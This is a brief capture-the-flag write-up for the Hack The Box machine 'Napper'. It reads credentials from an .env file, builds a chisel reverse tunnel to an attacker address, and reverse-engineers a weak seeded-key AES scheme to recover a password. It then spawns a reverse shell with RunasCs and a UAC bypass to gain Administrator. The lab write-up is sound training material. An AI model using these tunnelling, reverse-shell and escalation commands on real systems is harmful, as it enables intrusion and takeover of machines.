HTB Napper Writeup

Originally published on Medium

Prerequisites

Initial access via Burly0's HTB-Napper Script.

Get Login Data for Elasticsearch

C:\> cd C:\Temp\www\internal\content\posts\internal-laps-alpha
C:\> type .env

Forward Elasticsearch

chisel client <YOUR_IP>:1118 R:9200:127.0.0.1:9200

$ chisel server --reverse --port 1118

Reverse Engineer Encryption Algorithm

Using Ghidra to reverse engineer the Go binary:

Key generation -- seeds a PRNG and generates a 16-byte key:

// es_napper.go:50
[]uint8 main::main.genKey(int seed) {
    math/rand.Seed(seed);
    key = runtime.makeslice(0x10);
    for (i = 0; i < 0x10; i++) {
        key[i] = (char)(math/rand.Intn(0xfe)) + 1;
    }
    return key;
}

Encryption -- AES-CFB with a random IV:

// es_napper.go:59
string main::main.encrypt([]uint8 key, string text) {
    block = crypto/aes.NewCipher(key);
    ciphertext = runtime.makeslice(len(plaintext) + 0x10);
    iv = ciphertext[:0x10];
    io.ReadAtLeast(crypto/rand.Reader, iv, 0x10);
    stream = crypto/cipher.newCFB(block, iv, false);
    stream.XORKeyStream(ciphertext[0x10:], plaintext);
    return base64.URLEncoding.EncodeToString(ciphertext);
}

Decrypt and Escalate

$ go run decrypt.go -data="ZGkRXiJV..." -seed=43333000
Decrypted text: oBIYapFZIIhGWuNnOAeGFnYpOQeCtzJLOWAIJpJu

PS C:\> .\RunasCs.exe backup <password> cmd.exe -r 10.10.14.61:443 --bypass-uac

C:\Users\Administrator\Desktop> type root.txt